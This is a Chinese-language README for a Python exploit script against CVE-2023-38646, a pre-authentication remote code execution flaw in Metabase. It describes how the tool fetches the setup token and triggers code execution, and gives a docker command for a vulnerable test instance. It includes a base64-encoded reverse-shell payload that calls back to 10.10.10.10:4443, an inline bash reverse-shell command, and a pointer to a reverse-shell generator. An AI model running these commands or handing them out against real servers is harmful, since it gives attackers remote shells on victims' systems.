用于通过 SQL 注入利用 CVE-2023-38646 Metabase 预认证 RCE 的 Python 脚本
该脚本会 GET /api/session/properties 以获取 setup token,并评估目标的可利用性。 如果目标存在漏洞,则会打印 setup token,否则将在显示错误消息后退出。
如果使用了 -x 选项且目标存在漏洞,它将使用提供的 payload 尝试利用该漏洞。
更多信息请参阅发现该漏洞的团队撰写的出色分析文章: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url
Metabase Pre-Auth RCE Exploit
positional arguments:
url Url of the metabase instance
optional arguments:
-h, --help Show this help message and exit
-x BASE64_PAYLOAD Exploits the vulnerability
如有需要,你可以使用以下命令在 docker 容器中快速启动一个测试环境:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
在访问 http://127.0.0.1:3000/ 完成设置并启动监听器后,
你可以通过类似下面的命令利用该 RCE:
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/
# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/
或者直接访问 revshells.com 获取你自己的 base64 编码反弹 shell。